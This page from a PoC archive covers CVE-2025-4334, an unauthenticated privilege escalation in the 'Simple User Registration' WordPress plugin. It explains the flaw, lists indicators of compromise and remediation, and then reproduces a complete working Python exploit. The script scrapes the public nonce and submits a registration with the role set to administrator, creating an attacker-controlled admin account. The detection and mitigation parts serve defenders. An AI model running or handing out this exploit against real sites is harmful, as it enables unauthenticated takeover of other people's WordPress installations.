PoC Archive PoC Archive
Critical CVE-2025-4334 unpatched

Simple User Registration WordPress Plugin — Unauthenticated Privilege Escalation (CVE-2025-4334)

by vinodwick — [github.com/vinodwick](https://github.com/vinodwick) (exploit credited in-script to "ICT604 Group Vinod and Mohith") · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-4334
Category
web
Affected product
"Simple User Registration" WordPress plugin (registration/form-builder plugin, wpr_submit_form AJAX action)
Affected versions
<= 6.3 (per PoC script's argparse description)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchervinodwick — github.com/vinodwick (exploit credited in-script to “ICT604 Group Vinod and Mohith”)
CVE / AdvisoryCVE-2025-4334
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagswordpress, wp-plugin, simple-user-registration, privilege-escalation, unauthenticated, admin-ajax, cwe-269, python
RelatedN/A

Affected Target

FieldValue
Software / System“Simple User Registration” WordPress plugin (registration/form-builder plugin, wpr_submit_form AJAX action)
Versions Affected<= 6.3 (per PoC script’s argparse description)
Language / PlatformPython 3 (PoC client) targeting a PHP/WordPress site
Authentication RequiredNo — the vulnerable AJAX action is reachable pre-authentication
Network Access RequiredYes — HTTP(S) access to the target WordPress site’s wp-admin/admin-ajax.php

Summary

The “Simple User Registration” WordPress plugin (versions <= 6.3) exposes a front-end registration form whose submission handler (wpr_submit_form, invoked via admin-ajax.php) accepts a role field directly from the submitted form data without server-side restriction. The root cause is missing authorization/role-allowlisting on user-controllable registration input: the plugin trusts the client-submitted wpr[wp_field][role] value and creates the account with that role, including administrator. The included PoC scrapes a target registration form for its CSRF nonce (wpr_nonce) and form ID (wpr_form_id), then POSTs a crafted registration request with role=administrator to admin-ajax.php, resulting in creation of a new, fully unauthenticated attacker-controlled administrator account.


Vulnerability Details

Root Cause

The plugin’s wpr_submit_form AJAX handler accepts a wpr[wp_field][role] parameter from the anonymous registration form submission and uses it to set the new user’s WordPress role, instead of hardcoding a safe default (e.g. subscriber) or validating against an allowlist server-side. The PoC’s request payload demonstrates the exact abusable parameter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
data = {
    "action": "wpr_submit_form",
    "wpr_form_id": form_id,
    "wpr_nonce": nonce,
    "_wp_http_referer": referer,
    "wpr[wp_field][user_login]": ""+user_name+"",
    "wpr[wp_field][first_name]": "ict640admin",
    "wpr[wp_field][last_name]": "ict640admin",
    "wpr[wp_field][user_email]": ""+email+"",
    "wpr[wp_field][password]": ""+password+"",
    "wpr[wp_field][confirm_password]": ""+password+"",
    "wpr[wp_field][role]": "administrator"
}

Because the nonce (wpr_nonce) used here is the public, unauthenticated form nonce (present in the publicly rendered registration page HTML, not a privileged one), it does not provide any authorization boundary — it only proves the request came from the form page, not that the requester has any elevated privilege. This is a classic CWE-269 (Improper Privilege Management) / mass-assignment style issue: server-trusted role selection from client input.

Attack Vector

  1. Fetch the public registration form page and extract the wpr_nonce and wpr_form_id values embedded in the HTML (both are present pre-authentication).
  2. Construct a POST request to wp-admin/admin-ajax.php with action=wpr_submit_form, the harvested nonce/form ID, attacker-chosen username/password/email, and wpr[wp_field][role]=administrator.
  3. Submit the request; the plugin creates the account with the requested role and returns a JSON response containing success and user_id on success.
  4. Log in to wp-login.php with the newly created administrator credentials.

Impact

An unauthenticated remote attacker can create a fully privileged WordPress administrator account with attacker-chosen credentials on any site running the vulnerable plugin, leading to complete site takeover (plugin/theme installation → code execution, content tampering, data exfiltration, pivoting to the underlying host).


Environment / Lab Setup

Target: WordPress site with "Simple User Registration" plugin <= 6.3 active, with a front-end registration form page published (e.g. /register or similar), reachable over HTTP/HTTPS.
Attacker: Python 3 with the `requests` library.

Proof of Concept

PoC Script

See CVE-2025-4334-ICT604-exploit.py in this folder.

1
2
3
4
5
6
python3 CVE-2025-4334-ICT604-exploit.py \
  -u http://TARGET/ \
  --form http://TARGET/registration-page/ \
  -un attacker_admin \
  -pw 'P@ssw0rd123!' \
  -em attacker@example.com

The script fetches --form to extract wpr_nonce and wpr_form_id, then POSTs a crafted registration request (username/email/password from the CLI args, role=administrator) to TARGET/wp-admin/admin-ajax.php. On success it prints the created credentials and role; the attacker can then log in as a full administrator.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=wpr_submit_form&wpr_form_id=<id>&wpr_nonce=<nonce>&_wp_http_referer=<path>&wpr[wp_field][user_login]=<user>&wpr[wp_field][role]=administrator&...

Signs of compromise:

  • New administrator accounts appearing in wp_users/wp_usermeta that were not created through the normal WordPress admin “Add New User” screen.
  • admin-ajax.php requests with action=wpr_submit_form where the POST body contains wpr[wp_field][role]=administrator or any role other than the plugin’s intended default.
  • Unrecognized administrator logins shortly following anonymous registration-form submissions in access logs.

Remediation

ActionDetail
Primary fixUpgrade “Simple User Registration” to a patched version (> 6.3) that ignores or strictly allowlists the client-submitted role field, forcing new self-registrations to a safe default role server-side.
Interim mitigationDisable/uninstall the plugin until patched, or use a WAF rule to strip/block wpr[wp_field][role] values other than the intended default from requests to admin-ajax.php; audit existing WordPress users for unexpected administrator accounts.

References


Notes

Mirrored from https://github.com/vinodwick/CVE-2025-4334 on 2026-07-06. The repository is a single, unadorned Python script with no README or license file — it is functional but bare-bones (no usage docs beyond the script’s own argparse help text).

CVE-2025-4334-ICT604-exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import requests
import argparse
import re
from urllib.parse import urljoin



def extract_form_details(form_page_url):
    try:
        response = requests.get(form_page_url, verify=False, timeout=10)
        if response.status_code != 200:
            print(f"[-] Failed to load form page: HTTP {response.status_code}")
            return None, None, None

        nonce = re.search(r'name=["\']wpr_nonce["\'][^>]*value=["\']([^"\']+)["\']', response.text)
        form_id = re.search(r'name=["\']wpr_form_id["\'][^>]*value=["\'](\d+)["\']', response.text)

        if not nonce or not form_id:
            print("[-] Failed to extract nonce or form_id from page.")
            return None, None, None

        referer_path = "/" + "/".join(form_page_url.split("/", 3)[-1].split("/"))
        return nonce.group(1), form_id.group(1), referer_path

    except Exception as e:
        print(f"[-] Exception while fetching form details: {e}")
        return None, None, None

def mainExploit(base_url, form_url, user_name, password, email):
    nonce, form_id, referer = extract_form_details(form_url)

    print(f"[i] Extracted Nonce   : {nonce}")
    print(f"[i] Extracted Form ID : {form_id}")
    print(f"[i] Referer Path      : {referer}")

    if not nonce or not form_id or not referer:
        print("[-] Exploit failed during form extraction.")
        return

    endpoint = urljoin(base_url, "wp-admin/admin-ajax.php")

    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest"
    }



    data = {
        "action": "wpr_submit_form",
        "wpr_form_id": form_id,
        "wpr_nonce": nonce,
        "_wp_http_referer": referer,
        "wpr[wp_field][user_login]": ""+user_name+"",
        "wpr[wp_field][first_name]": "ict640admin",
        "wpr[wp_field][last_name]": "ict640admin",
        "wpr[wp_field][user_email]": ""+email+"",
        "wpr[wp_field][password]": ""+password+"",
        "wpr[wp_field][confirm_password]": ""+password+"",
        "wpr[wp_field][role]": "administrator"
    }

    try:
        response = requests.post(endpoint, headers=headers, data=data, verify=False, timeout=10)
        print(f"[i] HTTP Response Code : {response.status_code}")
        print(f"[i] Server Response    : {response.text.strip()[:300]}")

        if "success" in response.text and "user_id" in response.text:
            print("\n[+] Exploitation Successful")
            print("[+] Username   : "+user_name+"")
            print("[+] First Name : ict640admin")
            print("[+] Last Name  : ict640admin")
            print("[+] Email      : "+email+"")
            print("[+] Password   : "+password+"")
            print("[+] Role       : administrator")
            print("\nExploit By : ICT604 Group Vinod and Mohith")
        else:
            print("[-] Exploit failed.")

    except Exception as e:
        print(f"[-] Exception while sending exploit request: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-4334 Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation ")
    parser.add_argument("-u", "--url", required=True, help="Base WordPress URL (e.g. http://192.168.1.141/shop_site_2/)")
    parser.add_argument("--form", required=True, help="Full URL of the page that contains the registration form")
    parser.add_argument("-un","--user_name", required=True, help="Username to create")
    parser.add_argument("-pw","--password", required=True, help="Password for user")
    parser.add_argument("-em","--email", required=True, help="Email Addresss")
    args = parser.parse_args()

    requests.packages.urllib3.disable_warnings()
    mainExploit(args.url, args.form, args.user_name, args.password, args.email)